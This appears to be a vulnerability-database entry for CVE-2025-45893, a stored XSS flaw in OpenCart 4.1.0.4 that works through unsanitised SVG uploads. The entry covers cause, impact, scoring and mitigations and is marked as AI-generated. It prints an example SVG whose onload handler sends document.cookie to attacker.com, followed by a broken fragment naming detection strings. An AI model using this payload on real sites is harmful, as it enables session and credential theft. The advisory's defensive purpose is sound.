
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-45893 is a Stored Cross-Site Scripting (XSS) vulnerability in OpenCart version 4.1.0.4, exploitable via malicious SVG file uploads in blog posts. The vulnerability was published on July 25, 2025, and arises because SVG files uploaded through the media manager are not properly sanitized, allowing attackers to embed JavaScript that executes in victims' browsers. It carries a CVSS v3.1 base score of 6.1 (Medium) (Red Hat Advisory, Packet Storm).
The root cause is improper neutralization of input during web page generation (CWE-79), specifically the failure to sanitize SVG file content uploaded via OpenCart's media manager. SVG files are XML-based and can contain embedded <script> tags or event handlers (e.g., onload) that execute JavaScript when the file is rendered in a browser. An attacker with access to upload media (e.g., a registered user or admin) can craft a malicious SVG and embed it in a blog post; any user who views the post will have the script execute in their browser context. The attack vector is network-based, requires user interaction (victim viewing the post), and the scope is changed, meaning the impact crosses the trust boundary of the application (Red Hat Advisory, Packet Storm).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The confidentiality and integrity impacts are rated Low (limited data exposure and limited content modification), with no direct availability impact. If an administrator views the malicious blog post, the attacker could escalate privileges or perform administrative actions within the OpenCart store (Red Hat Advisory).
A proof-of-concept or exploit details have been referenced via Packet Storm Security, indicating public disclosure of exploitation methodology (Packet Storm). The EPSS score is approximately 0.029% (0.000290), reflecting a low but non-zero probability of exploitation in the wild. There is no current evidence of active in-the-wild exploitation, threat actor attribution, or inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog.
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?c='+document.cookie)">
<rect width="100" height="100"/>
</svg><script>, onload, onerror, or javascript: strings.OpenCart users should update to a patched version of OpenCart beyond 4.1.0.4 as soon as a fix is released by the vendor. As an interim workaround, administrators should disable SVG file uploads in the media manager or restrict upload permissions to trusted administrators only. Additionally, deploying a Web Application Firewall (WAF) with rules to detect and block malicious SVG content can reduce exposure. Regularly audit uploaded media files for suspicious SVG content (Red Hat Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."